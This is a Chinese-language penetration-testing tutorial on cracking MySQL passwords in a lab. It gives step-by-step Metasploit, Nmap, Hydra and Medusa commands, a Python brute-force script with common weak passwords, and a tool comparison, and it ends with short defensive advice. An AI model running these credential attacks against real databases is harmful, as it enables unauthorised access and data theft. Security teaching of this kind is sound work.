MySQL口令扫描渗透测试攻略
字数 1273 2025-08-29 08:31:53
MySQL口令扫描渗透测试完全指南
1. 测试环境准备
1.1 基础环境配置
- 操作系统: Windows 2003 Server + Kali Linux 2017
- 数据库环境: MySQL 5.0.90-community-nt
- 账号设置:
- 允许远程访问(host设置为%)
- 测试密码: 11111111
2. 主流MySQL口令扫描工具详解
2.1 Metasploit框架扫描
2.1.1 基本命令
msfconsole # 启动Metasploit
2.1.2 密码扫描模块
- 单一模式扫描:
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.157.130
set username root
set password 11111111
run
- 字典暴力破解:
use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.157.130
set pass_file "/root/top10000pwd.txt"
set username root
run
- 密码验证模块:
use auxiliary/admin/mysql/mysql_sql
set RHOSTS 192.168.157.130
set password 11111111
set username root
run
2.1.3 结果解读
-表示未成功- 绿色
+表示破解成功,显示用户名和密码
2.2 Nmap扫描
2.2.1 MySQL相关脚本
ls -al /usr/share/nmap/scripts/mysql*
包含脚本: mysql-audit.nse, mysql-brute.nse, mysql-databases.nse等
2.2.2 常用扫描命令
- 端口扫描:
nmap -p 3306 192.168.157.130
- 空口令扫描:
nmap -p3306 --script=mysql-empty-password.nse 192.168.137.130
- 已知口令扫描:
nmap -sV --script=mysql-databases --script-args dbuser=root,dbpass=11111111 192.168.195.130
2.3 Hydra/xHydra工具
2.3.1 图形界面(xHydra)
- 设置目标地址和协议
- 配置用户名/密码或字典文件
- 设置线程数后开始破解
2.3.2 命令行模式
- 单一验证:
hydra -l root -p11111111 -t 16 192.168.157.130 mysql
- 字典破解:
hydra -l root -P /root/Desktop/top10000pwd.txt -t 16 192.168.157.130 mysql
- 多目标破解:
hydra -l root -P /root/newpass.txt -t 16 -M /root/ip.txt mysql
2.4 Hscan工具
- 设置扫描参数(startip/endip)
- 选择"MySQL弱口令检查"模块
- 扫描结果保存在report和log目录
2.5 Bruter工具
- 简单直观的界面
- 支持多种协议
- 适合单个主机快速验证
2.6 Medusa(美杜莎)
2.6.1 基本用法
medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
2.6.2 MySQL破解示例
- 单一目标:
medusa -M mysql -h192.168.17.129 -e ns -F -u root -P /root/mypass.txt
- 多目标:
medusa -M mysql -H host.txt -e ns -F -u root -P /root/mypass.txt
2.7 Python脚本
2.7.1 简单爆破脚本
import MySQLdb
mysql_username = ('root','test', 'admin', 'user')
common_weak_password = ('','123456','test','root','admin','user')
host = "127.0.0.1"
port = 3306
for username in mysql_username:
for password in common_weak_password:
try:
db = MySQLdb.connect(host, username, password)
print "Success:", username, password
except:
pass
2.7.2 独自等待版MySQL暴力破解工具
mysqlbrute.py www.waitalone.cn 3306 test user.txt pass.txt
3. 工具对比与总结
3.1 推荐工具
- 综合功能: MSF(破解后可继续渗透)
- 多目标破解: xHydra/Hydra/Medusa
- 快速验证: Bruter
3.2 常用命令汇总
| 工具 | 命令示例 |
|---|---|
| MSF | use auxiliary/scanner/mysql/mysql_login |
| Hydra | hydra -l root -P pass.txt -t 16 target mysql |
| Medusa | medusa -M mysql -h target -u root -P pass.txt |
| Nmap | nmap -p3306 --script=mysql-brute target |
3.3 注意事项
- 字典过长会导致扫描时间延长
- 破解成功后应停止扫描(-F参数)
- 线程数不宜设置过高
- 合法授权前提下进行测试
4. 防御建议
- 限制数据库远程访问(避免host=%)
- 设置强密码策略
- 限制访问IP
- 定期更换密码
- 监控异常登录尝试
通过本指南,您可以全面了解MySQL口令扫描的各种技术方法和工具使用,在实际渗透测试工作中根据具体情况选择合适的方法进行测试。